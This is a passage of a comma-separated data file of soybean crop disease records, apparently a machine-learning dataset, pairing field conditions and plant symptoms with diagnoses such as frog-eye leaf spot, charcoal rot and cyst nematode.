norm, absent, abnorm, absent, present, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, lt-normal, gt-norm, norm, yes, diff-lst-year, whole-field, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\njuly, normal, gt-norm, norm, yes, diff-lst-year, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, yes, diff-lst-year, whole-field, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, diff-lst-year, whole-field, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, present, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, alternarialeaf-spot\noctober, normal, norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, present, firm-and-dry, absent, none, absent, diseased, brown-w/blk-specks, abnorm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, norm, norm, yes, same-lst-two-yrs, low-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, norm, norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, upper-areas, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, diff-lst-year, low-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-yr, low-areas, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-yr, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, low-areas, minor, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, normal, norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above- \\\n sec-nde, dk-brown-blk, present, absent, absent, none, absent, diseased, brown- \\\n w/blk-specks, abnorm, absent, present, lt- \\\n norm, present, norm, frog-eye-leaf-spot\nseptember, normal, norm, norm, yes, same-lst-yr, whole-field, pot-severe, other, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, abnorm, yes, above-sec- \\\n nde, dna, present, absent, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\njuly, lt-normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, low-areas, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-yr, scattered, pot-severe, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\noctober, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, scattered, minor, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, diff-lst-year, low-areas, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, brown, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, lt-normal, norm, gt-norm, yes, same-lst-yr, low-areas, minor, other, lt-80, abnorm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-yr, upper-areas, pot-severe, none, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/ \\\n 8, absent, absent, absent, norm, yes, absent, dna, absent, absent, absent, none, absent, norm, absent, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\naugust, normal, gt-norm, gt-norm, yes, same-lst-yr, whole-field, pot-severe, fungicide, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, norm, yes, same-lst-yr, upper-areas, minor, none, 90-100, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, yes, same-lst-two-yrs, scattered, minor, none, 80-89, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, lt-normal, gt-norm, norm, yes, same-lst-two-yrs, whole-field, minor, fungicide, lt-80, norm, abnorm, no-yellow-halos, w-s-marg, gt-1/8, absent, absent, absent, abnorm, yes, above-sec-nde, dk-brown-blk, absent, firm-and-dry, absent, none, absent, diseased, colored, norm, absent, absent, norm, absent, norm, frog-eye-leaf-spot\nseptember, normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, whole-field, ?, ?, 90-100, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, norm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\noctober, normal, gt-norm, gt-norm, ?, same-lst-two-yrs, whole-field, ?, ?, 80-89, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nseptember, normal, gt-norm, gt-norm, ?, same-lst-sev-yrs, whole-field, ?, ?, 90-100, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nmay, lt-normal, norm, gt-norm, ?, same-lst-sev-yrs, scattered, ?, ?, lt-80, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, norm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nseptember, ?, gt-norm, gt-norm, ?, same-lst-two-yrs, whole-field, ?, ?, ?, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\nseptember, normal, gt-norm, gt-norm, ?, same-lst-two-yrs, whole-field, ?, ?, 90-100, norm, norm, ?, ?, ?, ?, ?, ?, abnorm, ?, absent, dna, present, absent, absent, none, absent, diseased, brown-w/blk-specks, abnorm, present, present, lt-norm, present, ?, diaporthe-pod-&-stem-blight\njune, ?, ?, ?, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njuly, ?, ?, ?, ?, same-lst-sev-yrs, upper-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\naugust, ?, ?, ?, ?, same-lst-sev-yrs, upper-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njuly, ?, ?, ?, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\njuly, ?, ?, ?, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\naugust, ?, ?, ?, ?, same-lst-two-yrs, low-areas, ?, ?, ?, abnorm, abnorm, ?, ?, ?, ?, ?, ?, norm, ?, ?, ?, ?, ?, ?, ?, ?, few-present, ?, abnorm, absent, ?, lt-norm, ?, galls-cysts, cyst-nematode\n?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, abnorm, absent, dna, dna, ?, present, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 2-4-d-injury\nmay, lt-normal, ?, lt-norm, ?, same-lst-yr, scattered, ?, ?, ?, abnorm, abnorm, no-yellow-halos, no-w-s-marg, gt-1/8, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\napril, lt-normal, ?, lt-norm, ?, diff-lst-year, whole-field, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\nmay, lt-normal, ?, lt-norm, ?, diff-lst-year, scattered, ?, ?, ?, abnorm, abnorm, absent, dna, dna, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\nmay, lt-normal, ?, lt-norm, ?, same-lst-yr, whole-field, ?, ?, ?, abnorm, abnorm, no-yellow-halos, no-w-s-marg, gt-1/8, absent, present, ?, abnorm, ?, ?, ?, ?, ?, ?, ?, ?, dna, ?, ?, ?, ?, ?, ?, rotted, herbicide-injury\noctober, normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\naugust, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, severe, none, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\nseptember, normal, gt-norm, norm, yes, same-lst-yr, scattered, pot-severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\njuly, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\nseptember, normal, gt-norm, norm, yes, same-lst-two-yrs, scattered, pot-severe, fungicide, 90-100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\nseptember, normal, gt-norm, norm, yes, same-lst-sev-yrs, low-areas, pot-severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\njuly, normal, gt-norm, norm, yes, same-lst-two-yrs, low-areas, pot-severe, none, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\naugust, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, fungicide, lt-80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, dna, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\noctober, normal, gt-norm, norm, yes, same-lst-sev-yrs, scattered, pot-severe, fungicide, 80-89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, above-sec-nde, brown, present, firm-and-dry, absent, none, absent, norm, dna, norm, absent, absent, norm, absent, norm, diaporthe-stem-canker\naugust, normal, lt-norm, norm, yes, same-lst-two-yrs, whole-field, pot-severe, fungicide, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nseptember, normal, lt-norm, gt-norm, yes, same-lst-sev-yrs, upper-areas, pot-severe, none, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\naugust, normal, lt-norm, gt-norm, yes, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nseptember, normal, lt-norm, gt-norm, yes, diff-lst-year, upper-areas, pot-severe, none, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nseptember, normal, lt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, none, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, no, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\njuly, normal, lt-norm, gt-norm, no, diff-lst-year, upper-areas, pot-severe, none, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\naugust, normal, lt-norm, gt-norm, no, same-lst-yr, whole-field, pot-severe, fungicide, lt- \\\n 80, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\nseptember, normal, lt-norm, gt-norm, no, same-lst-two-yrs, upper-areas, pot-severe, none, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\noctober, normal, lt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 80- \\\n 89, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\noctober, normal, lt-norm, gt-norm, no, same-lst-sev-yrs, whole-field, pot-severe, fungicide, 90- \\\n 100, abnorm, abnorm, absent, dna, dna, absent, absent, absent, abnorm, yes, absent, tan, absent, absent, absent, black, present, norm, dna, norm, absent, absent, norm, absent, norm, charcoal-rot\napril, lt-normal, gt-norm, lt-norm, yes, diff-lst-year, low-areas, pot-severe, none, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, rotted, rhizoctonia-root-rot\napril, lt-normal, gt-norm, lt-norm, yes, same-lst-sev-yrs, low-areas, severe, none, lt-80, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\napril, lt-normal, gt-norm, lt-norm, yes, same-lst-two-yrs, low-areas, pot-severe, fungicide, 80-89, abnorm, norm, absent, dna, dna, absent, absent, absent, abnorm, yes, below-soil, brown, absent, firm-and-dry, absent, none, absent, dna, dna, norm, absent, absent, norm, absent, norm, rhizoctonia-root-rot\njune, lt-normal, 